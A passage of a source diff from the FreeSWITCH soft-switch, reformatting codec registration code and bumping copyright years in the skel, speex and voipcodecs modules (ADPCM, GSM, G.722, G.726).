||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_siren_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_siren_encode, /* function to encode raw data into encoded data */
|
||||
switch_siren_decode, /* function to decode encoded data into raw data */
|
||||
switch_siren_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
}
|
||||
/* indicate that the module should continue to be loaded */
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -94,15 +94,14 @@ static switch_status_t switch_skel_init(switch_codec_t *codec, switch_codec_flag
|
||||
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
|
||||
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
|
||||
* */
|
||||
static switch_status_t switch_skel_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec, /* codec that was used by the other side */
|
||||
void *decoded_data, /* decoded data that we must encode */
|
||||
uint32_t decoded_data_len /* decoded data length */,
|
||||
uint32_t decoded_rate /* rate of the decoded data */,
|
||||
void *encoded_data, /* here we will store the encoded data */
|
||||
uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
|
||||
uint32_t *encoded_rate /* here we will set the rate of the encoded data */,
|
||||
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
|
||||
static switch_status_t switch_skel_encode(switch_codec_t *codec, switch_codec_t *other_codec, /* codec that was used by the other side */
|
||||
void *decoded_data, /* decoded data that we must encode */
|
||||
uint32_t decoded_data_len /* decoded data length */ ,
|
||||
uint32_t decoded_rate /* rate of the decoded data */ ,
|
||||
void *encoded_data, /* here we will store the encoded data */
|
||||
uint32_t *encoded_data_len, /* here we will set the length of the encoded data */
|
||||
uint32_t *encoded_rate /* here we will set the rate of the encoded data */ ,
|
||||
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
|
||||
{
|
||||
struct skel_context *context = codec->private_info;
|
||||
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
|
||||
@@ -123,15 +122,15 @@ static switch_status_t switch_skel_encode(switch_codec_t *codec,
|
||||
* SWITCH_STATUS_NOOP, NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary.
|
||||
* SWITCH_STATUS_NOT_INITALIZED, failure to init, you can use this to init on first usage and no in switch_skel_init?
|
||||
* */
|
||||
static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
|
||||
switch_codec_t *other_codec, /* what is this? */
|
||||
void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
|
||||
uint32_t encoded_data_len, /* length in bytes of the encoded data */
|
||||
uint32_t encoded_rate, /* at which rate was the data encoded */
|
||||
void *decoded_data, /* buffer where we must put the decoded data */
|
||||
uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
|
||||
uint32_t *decoded_rate, /* rate of the decoded data */
|
||||
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */)
|
||||
static switch_status_t switch_skel_decode(switch_codec_t *codec, /* codec session handle */
|
||||
switch_codec_t *other_codec, /* what is this? */
|
||||
void *encoded_data, /* data that we must decode into slinear and put it in decoded_data */
|
||||
uint32_t encoded_data_len, /* length in bytes of the encoded data */
|
||||
uint32_t encoded_rate, /* at which rate was the data encoded */
|
||||
void *decoded_data, /* buffer where we must put the decoded data */
|
||||
uint32_t *decoded_data_len, /* we must set this value to the size of the decoded data */
|
||||
uint32_t *decoded_rate, /* rate of the decoded data */
|
||||
unsigned int *flag /* frame flag, see switch_frame_flag_enum_t */ )
|
||||
{
|
||||
struct skel_context *context = codec->private_info;
|
||||
/* FS core checks the actual samples per second and microseconds per packet to determine the buffer size in the worst case scenario, no need to check
|
||||
@@ -150,7 +149,7 @@ static switch_status_t switch_skel_destroy(switch_codec_t *codec)
|
||||
* no need to free memory allocated from the pool though, the owner of the pool takes care of that */
|
||||
struct skel_context *context = codec->private_info;
|
||||
context->encodes = 0;
|
||||
context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
|
||||
context->decodes = 0; /* silly, context was allocated in the pool and therefore will be destroyed soon, exact time is not guaranteed though */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -180,32 +179,31 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_skel_codec_load)
|
||||
/* SWITCH_ADD_CODEC allocates a codec interface structure from the pool the core gave us and adds it to the internal interface list the core keeps,
|
||||
* gets a codec id and set the given codec name to it.
|
||||
* At this point there is an empty shell codec interface registered, but not yet implementations */
|
||||
SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
|
||||
SWITCH_ADD_CODEC(codec_interface, "SKEL 8.0k"); /* 8.0kbit */
|
||||
|
||||
/* Now add as many codec implementations as needed, typically this is done inside a for loop where the packetization size is
|
||||
* incremented (10ms, 20ms, 30ms etc) as needed */
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface, /* the codec interface we allocated and we want to register with the core */
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
|
||||
"SKEL", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
|
||||
160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
|
||||
320, /* number of bytes per frame decompressed */
|
||||
320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
|
||||
1, /* number of channels represented */
|
||||
20, /* number of frames per network packet */
|
||||
switch_skel_init, /* function to initialize a codec session using this implementation */
|
||||
switch_skel_encode, /* function to encode slinear data into encoded data */
|
||||
switch_skel_decode, /* function to decode encoded data into slinear data */
|
||||
switch_skel_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, /* the codec interface we allocated and we want to register with the core */
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
0, /* the IANA code number, ie http://www.iana.org/assignments/rtp-parameters */
|
||||
"SKEL", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function), fmtp is used in SDP for format specific parameters */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
8000, /* bits transferred per second */
|
||||
20000, /* for 20ms (milliseconds) frames, 20,000 microseconds and so on, you can register the same codec with different packetization */
|
||||
160, /* number of samples per frame, for this dummy implementation is 160, which is the number of samples in 20ms at 8000 samples per second */
|
||||
320, /* number of bytes per frame decompressed */
|
||||
320, /* number of bytes per frame compressed, since we dont really compress anything, is the same number as per frame decompressed */
|
||||
1, /* number of channels represented */
|
||||
20, /* number of frames per network packet */
|
||||
switch_skel_init, /* function to initialize a codec session using this implementation */
|
||||
switch_skel_encode, /* function to encode slinear data into encoded data */
|
||||
switch_skel_decode, /* function to decode encoded data into slinear data */
|
||||
switch_skel_destroy); /* deinitalize a codec handle using this implementation */
|
||||
|
||||
SWITCH_ADD_API(api_interface, "skel_sayhi", "Skel Codec Says Hi", skel_sayhi, NULL);
|
||||
switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
|
||||
switch_console_set_complete("add skel_sayhi"); /* For CLI completion */
|
||||
/* indicate that the module should continue to be loaded */
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -272,25 +272,23 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_speex_load)
|
||||
SWITCH_ADD_CODEC(codec_interface, "Speex");
|
||||
for (counta = 1; counta <= 3; counta++) {
|
||||
for (countb = 1; countb > 0; countb--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
ianacode[counta], /* the IANA code number */
|
||||
"SPEEX", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
rate, /* samples transferred per second */
|
||||
rate, /* actual samples transferred per second */
|
||||
bps[counta], /* bits transferred per second */
|
||||
mpf * countb, /* number of microseconds per frame */
|
||||
spf * countb, /* number of samples per frame */
|
||||
bpf * countb, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_speex_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_speex_encode, /* function to encode raw data into encoded data */
|
||||
switch_speex_decode, /* function to decode encoded data into raw data */
|
||||
switch_speex_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
ianacode[counta], /* the IANA code number */
|
||||
"SPEEX", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
rate, /* samples transferred per second */
|
||||
rate, /* actual samples transferred per second */
|
||||
bps[counta], /* bits transferred per second */
|
||||
mpf * countb, /* number of microseconds per frame */
|
||||
spf * countb, /* number of samples per frame */
|
||||
bpf * countb, /* number of bytes per frame decompressed */
|
||||
0, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
1, /* number of frames per network packet */
|
||||
switch_speex_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_speex_encode, /* function to encode raw data into encoded data */
|
||||
switch_speex_decode, /* function to decode encoded data into raw data */
|
||||
switch_speex_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
rate = rate * 2;
|
||||
spf = spf * 2;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -80,9 +80,11 @@ static switch_status_t switch_lpc10_destroy(switch_codec_t *codec)
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (context->encoder_object) lpc10_encode_free(context->encoder_object);
|
||||
if (context->encoder_object)
|
||||
lpc10_encode_free(context->encoder_object);
|
||||
context->encoder_object = NULL;
|
||||
if (context->decoder_object) lpc10_decode_free(context->decoder_object);
|
||||
if (context->decoder_object)
|
||||
lpc10_decode_free(context->decoder_object);
|
||||
context->decoder_object = NULL;
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -160,7 +162,8 @@ static switch_status_t switch_gsm_encode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *decoded_data,
|
||||
uint32_t decoded_data_len,
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
|
||||
uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
struct gsm_context *context = codec->private_info;
|
||||
|
||||
@@ -177,7 +180,8 @@ static switch_status_t switch_gsm_decode(switch_codec_t *codec,
|
||||
switch_codec_t *other_codec,
|
||||
void *encoded_data,
|
||||
uint32_t encoded_data_len,
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
|
||||
uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
|
||||
unsigned int *flag)
|
||||
{
|
||||
struct gsm_context *context = codec->private_info;
|
||||
|
||||
@@ -200,9 +204,11 @@ static switch_status_t switch_gsm_destroy(switch_codec_t *codec)
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (context->decoder_object) gsm0610_free(context->decoder_object);
|
||||
if (context->decoder_object)
|
||||
gsm0610_free(context->decoder_object);
|
||||
context->decoder_object = NULL;
|
||||
if (context->encoder_object) gsm0610_free(context->encoder_object);
|
||||
if (context->encoder_object)
|
||||
gsm0610_free(context->encoder_object);
|
||||
context->encoder_object = NULL;
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -433,9 +439,11 @@ static switch_status_t switch_g722_destroy(switch_codec_t *codec)
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (context->decoder_object) g722_decode_free(context->decoder_object);
|
||||
if (context->decoder_object)
|
||||
g722_decode_free(context->decoder_object);
|
||||
context->decoder_object = NULL;
|
||||
if (context->encoder_object) g722_encode_free(context->encoder_object);
|
||||
if (context->encoder_object)
|
||||
g722_encode_free(context->encoder_object);
|
||||
context->encoder_object = NULL;
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -456,14 +464,14 @@ static switch_status_t switch_g726_init(switch_codec_t *codec, switch_codec_flag
|
||||
|
||||
if (!(encoding || decoding)) {
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if ((flags & SWITCH_CODEC_FLAG_AAL2 || strstr(codec->implementation->iananame, "AAL2"))) {
|
||||
packing = G726_PACKING_LEFT;
|
||||
}
|
||||
|
||||
|
||||
context = g726_init(context, codec->implementation->bits_per_second, G726_ENCODING_LINEAR, packing);
|
||||
|
||||
|
||||
codec->private_info = context;
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
|
||||
@@ -597,9 +605,11 @@ static switch_status_t switch_adpcm_destroy(switch_codec_t *codec)
|
||||
return SWITCH_STATUS_FALSE;
|
||||
}
|
||||
|
||||
if (context->decoder_object) ima_adpcm_free(context->decoder_object);
|
||||
if (context->decoder_object)
|
||||
ima_adpcm_free(context->decoder_object);
|
||||
context->decoder_object = NULL;
|
||||
if (context->encoder_object) ima_adpcm_free(context->encoder_object);
|
||||
if (context->encoder_object)
|
||||
ima_adpcm_free(context->encoder_object);
|
||||
context->encoder_object = NULL;
|
||||
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
@@ -620,260 +630,238 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_voipcodecs_load)
|
||||
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
|
||||
SWITCH_ADD_CODEC(codec_interface, "ADPCM (IMA)");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
5, /* the IANA code number */
|
||||
"DVI4", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
(ebpf * count) + 4, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_adpcm_encode, /* function to encode raw data into encoded data */
|
||||
switch_adpcm_decode, /* function to decode encoded data into raw data */
|
||||
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
5, /* the IANA code number */
|
||||
"DVI4", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
(ebpf * count) + 4, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_adpcm_encode, /* function to encode raw data into encoded data */
|
||||
switch_adpcm_decode, /* function to decode encoded data into raw data */
|
||||
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
mpf = 10000, spf = 160, bpf = 320, ebpf = 160;
|
||||
for (count = 6; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
6, /* the IANA code number */
|
||||
"DVI4", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
(ebpf * count) + 4, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_adpcm_encode, /* function to encode raw data into encoded data */
|
||||
switch_adpcm_decode, /* function to decode encoded data into raw data */
|
||||
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
6, /* the IANA code number */
|
||||
"DVI4", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
16000, /* samples transferred per second */
|
||||
16000, /* actual samples transferred per second */
|
||||
64000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
(ebpf * count) + 4, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
spf * count, /* number of frames per network packet */
|
||||
switch_adpcm_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_adpcm_encode, /* function to encode raw data into encoded data */
|
||||
switch_adpcm_decode, /* function to decode encoded data into raw data */
|
||||
switch_adpcm_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
/* G726 */
|
||||
mpf = 10000, spf = 80, bpf = 160, ebpf = 20;
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 16k (AAL2)");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
124, /* the IANA code number */
|
||||
"AAL2-G726-16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
124, /* the IANA code number */
|
||||
"AAL2-G726-16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 16k");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
124, /* the IANA code number */
|
||||
"G726-16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
124, /* the IANA code number */
|
||||
"G726-16", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
16000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
/* Increase encoded bytes per frame by 10 */
|
||||
ebpf = ebpf + 10;
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 24k (AAL2)");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
123, /* the IANA code number */
|
||||
"AAL2-G726-24", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
24000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
123, /* the IANA code number */
|
||||
"AAL2-G726-24", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
24000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 24k");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
123, /* the IANA code number */
|
||||
"G726-24", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
24000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
123, /* the IANA code number */
|
||||
"G726-24", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
24000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
/* Increase encoded bytes per frame by 10 */
|
||||
ebpf = ebpf + 10;
|
||||
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 32k (AAL2)");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
122, /* the IANA code number */
|
||||
"AAL2-G726-32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
|
||||
122, /* the IANA code number */
|
||||
"AAL2-G726-32", /* the IANA code name */
|
||||
NULL, /* default fmtp to send (can be overridden by the init function) */
|
||||
8000, /* samples transferred per second */
|
||||
8000, /* actual samples transferred per second */
|
||||
32000, /* bits transferred per second */
|
||||
mpf * count, /* number of microseconds per frame */
|
||||
spf * count, /* number of samples per frame */
|
||||
bpf * count, /* number of bytes per frame decompressed */
|
||||
ebpf * count, /* number of bytes per frame compressed */
|
||||
1, /* number of channels represented */
|
||||
count * 10, /* number of frames per network packet */
|
||||
switch_g726_init, /* function to initialize a codec handle using this implementation */
|
||||
switch_g726_encode, /* function to encode raw data into encoded data */
|
||||
switch_g726_decode, /* function to decode encoded data into raw data */
|
||||
switch_g726_destroy); /* deinitalize a codec handle using this implementation */
|
||||
}
|
||||
SWITCH_ADD_CODEC(codec_interface, "G.726 32k");
|
||||
for (count = 12; count > 0; count--) {
|
||||
switch_core_codec_add_implementation(pool,
|
||||
codec_interface,
|
||||
